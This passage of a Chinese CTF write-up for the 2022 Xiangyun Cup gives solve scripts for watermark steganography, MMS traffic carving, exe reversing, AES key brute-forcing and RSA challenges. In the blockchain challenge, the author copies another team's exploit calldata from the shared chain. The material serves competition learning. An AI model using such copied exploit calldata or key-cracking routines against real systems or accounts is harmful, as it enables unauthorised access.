原图首先通道转换,Cr,Cb通道进行了小波转换,随后数据分块4×4

之后将水印进行嵌入,然后使用了超级无敌大套娃的k函数(dct,svd,μ,QIM),将两组数据分别写入,Cr,Cb通道,进行合块(c函数),最终进行反小波运算,将通道转为RGB,完成隐写。。。

我只能说那是真的

那么知道具体思路写解密脚本就行了,就是从下往上回着写,基本都有对应,不难

脚本如下,尊重一下出题人的想法, 此处我也使用同样类型的混淆算法进行编写exp

from email.mime import image
import hashlib
import cv2
import numpy as np
import pywt
from reedsolo import RSCodec
import matplotlib.pyplot as plt


class WatermarkExtract ():
    def __init__ (O000OO00O00OOO0OO ,OOO00OO0OO0000O00 ):
        O000OO00O00OOO0OO .block_shape =4
        O000OO00O00OOO0OO .arnold_factor =(6 ,20 ,22 )
        O000OO00O00OOO0OO .rsc_factor =100 
        O000OO00O00OOO0OO .mu_law_mu =100 
        O000OO00O00OOO0OO .mu_law_X_max =8000 
        O000OO00O00OOO0OO .delta =15 
        O000OO00O00OOO0OO .carrier =OOO00OO0OO0000O00 .astype ('float32')
        O0O0O0OO0OO0OO00O ,O0OOO0O000OO0OOOO =O000OO00O00OOO0OO .carrier .shape [:2 ]
        O000OO00O00OOO0OO .carrier_cA_height =O0O0O0OO0OO0OO00O //2 
        O000OO00O00OOO0OO .carrier_cA_width =O0OOO0O000OO0OOOO //2 
        O000OO00O00OOO0OO .watermark_height =O000OO00O00OOO0OO .carrier_cA_height //O000OO00O00OOO0OO .block_shape
        O000OO00O00OOO0OO .watermark_width =O000OO00O00OOO0OO .carrier_cA_width //O000OO00O00OOO0OO .block_shape 
        O000OO00O00OOO0OO .max_bits_size =O000OO00O00OOO0OO .watermark_height *O000OO00O00OOO0OO .watermark_width
        O000OO00O00OOO0OO .max_bytes_size =O000OO00O00OOO0OO .max_bits_size //8 #line:17
        O000OO00O00OOO0OO .rsc_size =len (RSCodec (O000OO00O00OOO0OO .rsc_factor ).encode (b'\x00'*O000OO00O00OOO0OO .max_bytes_size ))
    def c (O00O000000OOOO00O ,O000O0O0OO0O0OOOO ):
        OO00O00OO00O0000O ,O00O0OOOO000O0OO0 =O000O0O0OO0O0OOOO [:2 ]#line:22
        OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 =O00O000000OOOO00O .shape [-2 :]#line:23
        O0000O00O0O00OO00 =(OO00O00OO00O0000O //OO0O0O0O0OOO0O000 ,O00O0OOOO000O0OO0 //OO0000OOO00O0O0O0 ,OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 )#line:24
        O00O000000OOOO00O =np .reshape (O00O000000OOOO00O ,O0000O00O0O00OO00 )#line:25
        O0OO00O0000OOO000 =[]#line:26
        for OO000OOOO00OO0OOO in O00O000000OOOO00O :#line:27
            O0OO00O0000OOO000 .append (np .concatenate (OO000OOOO00OO0OOO ,axis =1 ))#line:28
        O0OOO0O00O0OO0OOO =np .concatenate (O0OO00O0000OOO000 ,axis =0 )#line:29
        return O0OOO0O00O0OO0OOO #line:30
    def b (OO0000OOO000OOO00 ,O000OO000OOO0O00O ,OO0O000OO0O0OO00O ):#line:32
        OO000O000000O0OOO ,O0O00OOOO0O0O0O00 =O000OO000OOO0O00O .shape [:2 ]#line:33
        O00000OO000O0O00O ,O00000OOO0OOO00O0 =OO0O000OO0O0OO00O #line:34
        OOOOOOO0OO00OOO00 =(OO000O000000O0OOO //O00000OO000O0O00O ,O0O00OOOO0O0O0O00 //O00000OOO0OOO00O0 ,O00000OO000O0O00O ,O00000OOO0OOO00O0 )#line:35
        OO000000O0OO0OO0O =O000OO000OOO0O00O .itemsize *np .array ([O0O00OOOO0O0O0O00 *O00000OO000O0O00O ,O00000OOO0OOO00O0 ,O0O00OOOO0O0O0O00 ,1 ])#line:36
        OO00O00OOOO0OOO00 =np .lib .stride_tricks .as_strided (O000OO000OOO0O00O ,OOOOOOO0OO00OOO00 ,OO000000O0OO0OO0O ).astype ('float64')#line:37
        OO00O00OOOO0OOO00 =np .reshape (OO00O00OOOO0OOO00 ,(OOOOOOO0OO00OOO00 [0 ]*OOOOOOO0OO00OOO00 [1 ],O00000OO000O0O00O ,O00000OOO0OOO00O0 ))#line:38
        return OO00O00OOOO0OOO00 #line:39
    def e1 (O0O0O0OOO00O00000 ,OOO000O00O0OOO0O0 ,OO000OOO000OO000O ,OOOOOO00000O00O00 ):#line:43
        return np .log (1 +OOOOOO00000O00O00 *(np .abs (OOO000O00O0OOO0O0 )/OO000OOO000OO000O ))/np .log (1 +OOOOOO00000O00O00 )#line:44
    def extract (OO0OOO00OO0O00OO0 ,O000OO0O0O00OOOO0 ,OO0OOO000O000O00O ):#line:46
        return O000OO0O0O00OOOO0 /2 -OO0OOO000O000O00O *1000 %O000OO0O0O00OOOO0 #line:47
    def reverse (O0OO0OO00000000OO ,OO0O00O000000OOOO ):#line:49
        O000OOOOOOOOO0O0O =OO0O00O000000OOOO .copy ()#line:50
        O000O0OOO000OOO0O =[]#line:51
        for O0OOOOO0000O0O000 ,OOO0000OO00OO0000 in enumerate (OO0O00O000000OOOO ):#line:52
            O00OO00O00000OOOO =cv2 .dct (OOO0000OO00OO0000 )#line:53
            O00O00O0OOO0OO0O0 ,OOOO0OO0OOOOOOOOO ,O00O000OO000O0000 =np .linalg .svd (O00OO00O00000OOOO )#line:54
            O0000O0OO0000OOO0 =np .max (OOOO0OO0OOOOOOOOO )#line:55
            O00OO0OO00O00O000 =O0OO0OO00000000OO .e1 (O0000O0OO0000OOO0 ,O0OO0OO00000000OO .mu_law_X_max ,O0OO0OO00000000OO .mu_law_mu )#line:56
            O000OOOOOOOOO0O0O =O0OO0OO00000000OO .extract (O0OO0OO00000000OO .delta ,O00OO0OO00O00O000 )#line:57
            if O000OOOOOOOOO0O0O >0 :#line:58
                O000O0OOO000OOO0O .append (1 )#line:59
            else :#line:60
                O000O0OOO000OOO0O .append (0 )#line:61
        return O000O0OOO000OOO0O #line:62
    def packbits (OOO00OO00OO0OOO00 ,O0O0O00O0O00OOO00 ):#line:64
        OOO00000O00000OO0 =np .packbits (O0O0O00O0O00OOO00 ).tobytes ()#line:65
        return OOO00000O00000OO0 #line:66
    def debuffer (OO0O0OO00O000OOOO ,OOO00OOOO00O0000O ):#line:68
        O0O0O0OO00OO00OO0 =np .unpackbits (np .frombuffer (OOO00OOOO00O0000O ,dtype ='uint8'))#line:69
        return O0O0O0OO00OO00OO0 #line:70
    def dearnold (OOOO000O0OO0OOO0O ,OOOOOOO00OO0O0000 ,OOOO0O0000O0OO0OO ):#line:72
        O0OOOOOOO000OO0O0 ,O00O0OO0OO0000O00 ,OOO00O00OOO00OO00 =OOOO0O0000O0OO0OO #line:73
        OO000OO000O0000O0 ,OOOOOO0O0OOOOO00O =OOOOOOO00OO0O0000 .shape [:2 ]#line:74
        OO000OO00OOOO00O0 =np .zeros (OOOOOOO00OO0O0000 .shape )#line:75
        for O00OO00OO00O00000 in range (O0OOOOOOO000OO0O0 ):#line:76
            for O0O000000000OOO0O in range (OO000OO000O0000O0 ):#line:77
                for O0O0OOOOO0OOOOOO0 in range (OOOOOO0O0OOOOO00O ):#line:78
                    O0OO0OO0O0O0O00OO =(O0O0OOOOO0OOOOOO0 +O00O0OO0OO0000O00 *O0O000000000OOO0O )%OOOOOO0O0OOOOO00O #line:79
                    OO000OO000O0OO0O0 =(OOO00O00OOO00OO00 *O0O0OOOOO0OOOOOO0 +(O00O0OO0OO0000O00 *OOO00O00OOO00OO00 +1 )*O0O000000000OOO0O )%OO000OO000O0000O0 #line:80
                    OO000OO00OOOO00O0 [OO000OO000O0OO0O0 ,O0OO0OO0O0O0O00OO ]=OOOOOOO00OO0O0000 [O0O000000000OOO0O ,O0O0OOOOO0OOOOOO0 ]#line:81
            OOOOOOO00OO0O0000 =OO000OO00OOOO00O0 .copy ()#line:82
        return OOOOOOO00OO0O0000 #line:84
    def decode1 (OOOOOOOO0OOOO0OO0 ,O0O000OO00O0O0000 ):#line:87
        O0O000OO00O0O0000 =OOOOOOOO0OOOO0OO0 .carrier #line:88
        OOOOO0O00OOOO0O00 =cv2 .cvtColor (O0O000OO00O0O0000 ,cv2 .COLOR_BGR2YCrCb )#line:89
        OO00O0OOO00OO000O ,O0OO00OO00OOO00OO ,O00O0OOO000O0OO00 =cv2 .split (OOOOO0O00OOOO0O00 )#line:90
        O0O0OO0O0O00000O0 ,O00O0000OOOO00O0O =pywt .dwt2 (O0OO00OO00OOO00OO ,'haar')#line:92
        OO000000OOO0O0OO0 ,O0OO000OOO0OO00OO =pywt .dwt2 (O00O0OOO000O0OO00 ,'haar')#line:93
        O0O0OOO00OO0O00O0 =OOOOOOOO0OOOO0OO0 .b (O0O0OO0O0O00000O0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:94
        O000OOOOO0O000O00 =OOOOOOOO0OOOO0OO0 .b (OO000000OOO0O0OO0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:95
        O0O0OO00OO0OOOOOO =OOOOOOOO0OOOO0OO0 .reverse (O0O0OOO00OO0O00O0 )#line:97
        OOO00OO000OO00000 =OOOOOOOO0OOOO0OO0 .reverse (O000OOOOO0O000O00 )#line:98
        O0OOO00O000000000 =np .array (O0O0OO00OO0OOOOOO +OOO00OO000OO00000 )#line:100
        OO000OO0OOOOO00O0 =(OOOOOOOO0OOOO0OO0 .packbits (O0OOO00O000000000 ))[:OOOOOOOO0OOOO0OO0 .rsc_size ]#line:101
        OOOO0OO0OO0O0OO0O =RSCodec (OOOOOOOO0OOOO0OO0 .rsc_factor )#line:102
        OO0OOOOO00O0OOOOO =bytes (OOOO0OO0OO0O0OO0O .decode (OO000OO0OOOOO00O0 )[0 ])#line:103
        OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .debuffer (OO0OOOOO00O0OOOOO ).reshape ((240 ,240 ))#line:104
        for OO0O0OO0OOO00OOO0 in range (19 ):#line:105
            OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .dearnold (OO0000O000OOO0OOO ,OOOOOOOO0OOOO0OO0 .arnold_factor )#line:106
        return OO0000O000OOO0OOO #line:108
if __name__ =='__main__':#line:111
    embedded =cv2 .imread ('embedded.png')#line:117
    wm =WatermarkExtract (embedded )#line:118
    extart =wm .decode1 (embedded )#line:119
    cv2 .imshow ('extart',extart )#line:121
     cv2 .waitKey (0 )#line:122
图片[12]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

4.super_electric

misc+re+crypto 只能说re和密码是牛逼的

流量分析,MMS流量,直接追踪TCP,发现盲点

图片[13]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

一眼顶针,是MZ文件头的exe程序,仔细看一眼,是octet-string字段存储的,

然后导出csv,编写脚本即可

import csv
from hashlib import new


list1 = [] 
with open('dump.csv') as f:
    reader = csv.reader(f)
    for row in reader:
        list1.append(row)


newlist = []


for i in range(1,len(list1)-1):
    if len(list1[i][6]) == 16:
        newlist.append(list1[i][6])


strings = ''.join(newlist)
#hex转换,保存为exe
with open('1.exe', 'wb') as f:
    f.write(bytes.fromhex(strings))

拿到文件运行发现是弹窗提示,所以直接在MessageBox下了断点回溯找到校验部分

是明文比对,所以过了第一个校验

图片[14]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


然而并没有结束,flag不对,所以在继续找程序的可疑地方即是pack段与mysec段

在pack段的有个函数CRC解密的部分,所以怀疑是个内置的压缩壳

随后经过不断调试与尝试想起start函数可疑的地方,也就是经过第一个校验之后还在运行的地方

图片[15]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


于是把程序直接跑到这,跳过去直接dump出来

图片[16]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


直接审计一下提取数据手动解密

图片[17]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


得到

data1 = [  0xEA, 0xE8, 0xE7, 0xD6, 0xDC, 0xD6, 0xEE, 0xEC, 0xFD, 0xD6, 
  0xB8, 0xFD, 0xB6]
for t in data1:
    print(chr(t ^ 0x89), end = "")


print()


data = [  0x66, 0x73, 0x6D, 0x6E, 0x24, 0x46, 0x74, 0x7E, 0x78, 0x7D, 
  0x65, 0x25, 0x4F, 0x64, 0x7E, 0x67, 0x75, 0x63, 0x32, 0x7A, 
  0x79, 0x65, 0x79, 0x65, 0x6C, 0x39, 0x5B, 0x5E, 0x4F, 0x17, 
  0x77, 0x72, 0x50, 0x4E, 0x50, 0x57, 0x04, 0x47, 0x4F, 0x49, 
  0x49, 0x5A, 0x49, 0x42, 0x45, 0x27, 0x47, 0x42, 0x40, 0x5E, 
  0x40, 0x47, 0x14, 0x5D, 0x57, 0x44, 0x50, 0x55, 0x53, 0x59, 
  0x36, 0x5B, 0x4C, 0x50, 0x2D, 0x61, 0x2A, 0x2B, 0x2C, 0x65, 
  0x2F, 0x2A, 0x38, 0x26, 0x38, 0x3F, 0x6C, 0x2B, 0x22, 0x2E, 
  0x37, 0x5B, 0x33, 0x20, 0x27, 0x30, 0x24, 0x23, 0x78, 0x3F, 
  0x36, 0x3A, 0x3B, 0x06, 0x64, 0x6A, 0x3D, 0x41, 0x5F, 0x5E, 
  0x44, 0x42, 0x00, 0x0B, 0x09, 0x0E, 0x11, 0x4C, 0x4C, 0x0C, 
  0x00, 0x0B, 0x50, 0x17, 0x1E, 0x12, 0x13, 0x2E, 0x5B, 0x46, 
  0x42, 0x24, 0x5A, 0x46, 0x41, 0x5D, 0x59, 0x02, 0xA7, 0x8B, 
  0xE9, 0xE6, 0xFD, 0xA5, 0xBB, 0xA7, 0xEA, 0xAE, 0xBE, 0xEF, 
  0xB5, 0xEC, 0xB9, 0xBF, 0xA0, 0xA1, 0xA3, 0xA3, 0xA0, 0xA6, 
  0xA1, 0xBD, 0xB2, 0xB3, 0xBD, 0x91, 0xF0, 0xBD, 0xA3, 0xBF, 
  0xCC, 0xC4, 0xCC, 0x8B, 0xCF, 0xC0, 0xDF, 0x8E, 0xA2, 0xC4, 
  0xCF, 0xD8, 0xDF, 0xCC, 0xC9, 0xCA, 0x90, 0x8C, 0x92, 0xD1, 
  0x93, 0xF1, 0xD9, 0x97, 0xC1, 0xD6, 0xCF, 0x9B, 0xD9, 0xCB, 
  0xDB, 0xCD, 0xE0, 0xA7, 0xA7, 0xA6, 0xA8, 0xE9, 0xE6, 0xA1, 
  0xAD, 0xAC, 0xA6, 0xEB, 0xBF, 0xA2, 0xEE, 0xBF, 0xB1, 0xA1, 
  0xB7, 0xA1, 0xF4, 0xA1, 0xBE, 0xBE, 0xB6, 0xF5, 0xFA, 0x97, 
  0xB5, 0xB6, 0xBB, 0xFF, 0x81, 0xC1, 0x8A, 0x8C, 0x91, 0x96, 
  0x83, 0xC7, 0x87, 0x8F, 0xCA, 0x88, 0x8D, 0x9F, 0x8A, 0x9C, 
  0xDC, 0xD1, 0xBD, 0x9D, 0x91, 0xD5, 0x94, 0x9B, 0x97, 0x8E, 
  0xDA, 0x9D, 0x8E, 0x92, 0x93, 0xDF, 0x63, 0x60, 0x74, 0x6A, 
  0x6A, 0x62, 0x26, 0x6E, 0x66, 0x2E, 0x2A, 0x20, 0x2C, 0x6F, 
  0x67, 0x61, 0x71, 0x62, 0x71, 0x7A, 0x7D, 0x3B, 0x63, 0x79, 
  0x70, 0x7C, 0x62, 0x77, 0x75, 0x7B, 0x67, 0x37, 0x48, 0x40, 
  0x51, 0x4B, 0x48, 0x4C, 0x44, 0x09, 0x5B, 0x41, 0x4B, 0x19, 
  0x19, 0x1B, 0x06, 0x44, 0x55, 0x48, 0x1B, 0x1D, 0x5C, 0x50, 
  0x4E, 0x53, 0x51, 0x5E, 0x5F, 0x48, 0x48, 0x15, 0x17, 0x16, 
  0x1B, 0x7B, 0x73, 0x73, 0x19, 0x4F, 0x2F, 0x31, 0x68, 0x74, 
  0x6A, 0x2D, 0x20, 0x2C, 0x29, 0x14, 0x65, 0x6B, 0x7F, 0x62, 
  0x09, 0x5F, 0x3B, 0x32, 0x2B, 0x2A, 0x3B, 0x3C, 0x39, 0x7D, 
  0x63, 0x7F, 0x0D, 0x04, 0x11, 0x10, 0x05, 0x02, 0x03, 0x47, 
  0x43, 0x49, 0x08, 0x12, 0x18, 0x08, 0x1D, 0x47, 0x58, 0x1D, 
  0x52, 0x5E, 0x54, 0x19, 0x13, 0x19, 0x50, 0x14, 0x1F, 0x08, 
  0x0F, 0x1C, 0x19, 0x1A, 0xA9, 0xA1, 0xA7, 0xA3, 0xE8, 0xAC, 
  0xA6, 0xAD, 0xA8, 0xEA, 0xE2, 0xF9, 0xA4, 0xE1, 0xAE, 0xA2, 
  0xB0, 0xFD, 0xF7, 0xFD, 0xBC, 0xF8, 0xF3, 0xE4, 0xEB, 0xF8, 
  0xFD, 0xFE, 0xB5, 0xBD, 0xBB, 0xBF, 0xCC, 0x88, 0x8E, 0x83, 
  0xC1, 0xCB, 0xC5, 0xC8, 0xCC, 0xC0, 0xC4, 0xCC, 0x8C, 0x90, 
  0x8E, 0x88, 0xC5, 0xC5, 0xD4, 0x9E, 0x8C, 0x92, 0x9F, 0xBD, 
  0xD9, 0xDC, 0xC9, 0x9B, 0x81, 0x9D, 0xFF, 0xFA, 0x93, 0xEF, 
  0xAC, 0xA6, 0xB3, 0xED, 0xAD, 0xA2, 0xB1, 0xE5, 0xEA, 0x8A, 
  0x89, 0x9E, 0xE0, 0x82, 0x9F, 0x95, 0x97, 0x8C, 0x97, 0x97, 
  0x95, 0xFB, 0xF8, 0xB0, 0xAC, 0xF2, 0xD6, 0xAD, 0xAC, 0xB6, 
  0x8E, 0x95, 0xCA, 0x81, 0x8D, 0x8B, 0x87, 0x94, 0x8B, 0x80, 
  0x83, 0xC5, 0x84, 0x88, 0x96, 0x83, 0x99, 0x97, 0x8B, 0xDB, 
  0x95, 0x90, 0x85, 0xD9, 0x9D, 0x97, 0x99, 0x89, 0x85, 0x8D, 
  0x8A, 0xD7, 0x6D, 0x64, 0x71, 0x70, 0x65, 0x62, 0x63, 0x2E, 
  0x21, 0x20, 0x00, 0x28, 0x26, 0x27, 0x24, 0x25, 0x3A, 0x3B, 
  0x38, 0x39, 0x3E, 0x3F, 0x3C, 0x3D, 0x32, 0x33, 0x30, 0x31, 
  0x36, 0x37, 0x34, 0x35, 0x0A, 0x0B, 0x08, 0x09, 0x0E, 0x0F, 
  0x0C, 0x0D, 0x02, 0x03, 0x00, 0x01, 0x06, 0x07, 0x04, 0x05, 
  0x1A, 0x1B, 0x18, 0x19, 0x1E, 0x1F, 0x1C, 0x1D, 0x12, 0x13, 
  0x10, 0x11, 0x16, 0x17, 0x14, 0x15, 0x6A, 0x6B, 0x68, 0x69, 
  0x6E, 0x6F, 0x6C, 0x6D, 0x62, 0x63, 0x60, 0x61, 0x66, 0x67, 
  0x64, 0x65, 0x7A, 0x7B, 0x78, 0x79, 0x7E, 0x7F, 0x7C, 0x7D, 
  0x72, 0x73, 0x70, 0x71, 0x76, 0x77, 0x74, 0x75, 0x4A, 0x4B, 
  0x48, 0x49, 0x4E, 0x4F, 0x4C, 0x4D, 0x42, 0x43, 0x40, 0x41, 
  0x46, 0x47, 0x44, 0x45, 0x5A, 0x5B, 0x58, 0x59, 0x5E, 0x5F, 
  0x5C, 0x5D, 0x52, 0x53, 0x50, 0x51, 0x56, 0x57, 0x54, 0x55, 
  0xAA, 0xAB, 0xA8, 0xA9, 0xAE, 0xAF, 0xAC, 0xAD, 0xA2, 0xA3, 
  0xA0, 0xA1, 0xA6, 0xA7, 0xA4, 0xA5, 0xBA, 0xBB, 0xB8, 0xB9, 
  0xBE, 0xBF, 0xBC, 0xBD, 0xB2, 0xB3, 0xB0, 0xB1, 0xB6, 0xB7, 
  0xB4, 0xB5, 0x8A, 0x8B, 0x91, 0xC5, 0xC6, 0xC4, 0x90, 0x93, 
  0xC9, 0xCD, 0x9D, 0xC9, 0x9B, 0x95, 0x98, 0x98, 0x86, 0xD4, 
  0x86, 0x85, 0x80, 0x86, 0x8F, 0x82, 0x89, 0x80, 0x83, 0x8F, 
  0x8E, 0x89, 0x8D, 0x8F, 0xF2, 0xA3, 0xF0, 0xF2, 0xA6, 0xF7, 
  0xA4, 0xF6, 0xFF, 0xAD, 0xA8, 0xF9, 0xC6]
for i in range(len(data)):
    print(chr(data[i] ^ i & 0xFF), end = "")


# can_U_get_1t?
from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key)
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2

然后又套了个密码,加点注释。

from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1] #flag内容做为iv。
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2



简单分析一下,首先给了个key,需要爆破,三位,然后密位没给全但是问题不大,可以用来当作校验,最后把明文当成密文来解aes应该就可以了,先爆破一下key

首先key是16进制,内容最多是0-9a-f,所以编写

from email import message
from encodings import utf_8


from Crypto.Util.number import *
from Crypto.Cipher import AES
import binascii
import hashlib


checknum =  0x3fba64ad7b78676e464395199424302b21b2b17db2


def XOR(a,b):
    c = []
    for i,j in zip(a,b):
        c.append(i^j)
    return bytes(c)
        
#16进制
strlist = "0123456789abcdef"


for a in strlist:
    for b in strlist:
        for c in strlist:
            key = '4d9a700010437'+a+b+c
            key = key.encode()
            l = len(key) #16
            message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
            message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
            aes = AES.new(key,AES.MODE_ECB)
            data1 = long_to_bytes(checknum)
            check = data1[:-16]  #flag{
            encode= data1[-16:]  #}
            #decode
            decode = aes.decrypt(encode)[-5:]
            if check == XOR(decode,message[-5:]):
                print(key)
                break

获得key:4d9a7000104376fe

有了key之后就可以带入之前的程序继续计算就行了

#题目给的
key = "4d9a7000104376fe"
key = key.encode()
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key,AES.MODE_ECB)
#clac
msg = []
for i in range(6):
    temp = message[i*16:(i+1)*16]
    msg.append(temp)


msg = msg[::-1]


flag = long_to_bytes(checknum)[-16:]
for i in range(6):
    flag = aes.decrypt(flag)
    flag = XOR(flag, msg[i])


print(flag)

5.BearParser

非预期上车

区块链,只给了部分代码,一直等上车来着

图片[18]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

最开始思路寻思上geth连一下看看,geth attach ip可以链上,并且使用eth.getBlock能获取其他人的交易记录,所以一直等着上车捏

图片[19]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

然后发现有队伍一血了,最速使用eth.BlockNumber查看到最新区块到了190,

图片[20]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

索性从181一直查到了190(之前区块一直在查,要么是部署,要么是转账和创建账户)直到190块发现了poc,对应一下时间刚好是一血的时间,直接复制input内容

{
  blockHash: "0xf6296217b129d81856d1edcc76be550904160f4a877cbb3ed4405789d36729e5",
  blockNumber: 190,
  from: "0xc7f0fa2a5f9a258f0762457f3e5e34ac4581dfae",
  gas: 3000000,
  gasPrice: 10000000000,
  hash: "0x5fe866a4e421c73d0c846c04e82b27830c60af842641baa606d03bd818e7550f",
  input: "0x26ad15930000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008061616161616161616161616161616161616161616161616161616161616161616262626262626262626262626262626262626262626262626262626262626262000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000001111111100000000000000000000000000000000000000000000000000000000111111110000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000278780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000006fb9eccc000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000027878000000000000000000000000000000000000000000000000000000000000",
  nonce: 0,
  r: "0x44de0f6cde5ee4144de798ac6382347bb4b8878d399f4da629e23114d1106624",
  s: "0x3c5d157b3accc627c0a95a54f6f0d2b6ca76e006e4569eada69df141c730e589",
  to: "0xf8af169b2ccde9271fdd004608c624037d58957f",
  transactionIndex: 0,
  type: "0x0",
  v: "0x4593",
  value: 0

合约随便部署个fallback() external{}

就行了然后直接to address部署题目合约,直接transact即可

图片[21]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

复制交易txhash值,最后提交

图片[22]-2022祥云杯ALLMISC Writeup-魔法少女雪殇



0X03 Crypto

1.little little fermat

遇事不决去百度代码,发现相似代码

根据 writeup 即可求出 p 和 q

题目提示是小费马,百度即可得到费马小定理

费马小定理

根据费马小定理我们可以从 :

assert 114514 ** x % p == 1

推出:

x = p - 1

然后正常解RSA即可:

from Crypto.Util.number import * 
from random import * 
from libnum import * 
import gmpy2 
from itertools import combinations, chain 

e = 65537 
n = 14132106732571642637548350691522493009724686596047415506904017635686070743554027091108158975147178351963999658958949587721449719649897845300515427278504841871501371441992629
9248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393 
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828
498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883 
tp = [gmpy2.mpz(1 << i) for i in range(512)] 
it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)]) 
for cf in it: 
   A = -sum([tp[i] for i in cf]) 
   D = A**2 + 4 * n 
   if gmpy2.is_square(D): 
       d = gmpy2.isqrt(D) 
       p = (-A + d) // 2 
       q = n // p 
       break 
x=p-1 
d = pow(e, -1, (p - 1) * (q - 1)) 
m=pow(c, d, n) 
print(pow(c, d, n)) 
print(long_to_bytes(m^(x**2)))

2.common_rsa

利用在线分解直接出p,q。

3z2ajt5qr0q15382.png

然后常规 RSA 解密即可:

import libnum
from Crypto.Util.number import long_to_bytes
 
c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519
n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409
e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165
q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587
p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

(不理解这道题为什么没多少人做, 当时做的时候看到 e 很大想到了维纳攻击,但没想到网上可以直接查到 n 的分解,也就没有进一步分解代码直接解了)

(有点感觉非预期?)


3.tracing

(这道题秋风提供了核心求解 phi 的思路,然后我就直接把剩下的 RSA 解密一把梭了)

这道题的 pq 没有给出,而题目却给出了类似于单步调试回显的代码,因此分析 gcd 函数的操作过程可以直接倒推出 phi

import libnum
from Crypto.Util.number import long_to_bytes

n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537

tag1 = 1
tag2 = 0
F = open("trace.out","r")
arr = F.readlines()

for i in arr[::-1]:
    if "a = a - b" in i:
        tag1 = tag1 + tag2
#print(tag1)
#print(tag2)
    if "a, b = b, a" in i:
        tag1, tag2 = tag2, tag1
#print(tag1)
#print(tag2)
    if "a = rshift1(a)"in i:
        tag1 = tag1 << 1
#print(tag1)
#print(tag2)
    if "b = rshift1(b)" in i:
        tag2 = tag2 << 1
#print(tag1)
#print(tag2)

phi = tag1
#print(phi)

d = libnum.invmod(e, phi) 
m = pow(c, d, n)
print(long_to_bytes(m))

4.fill

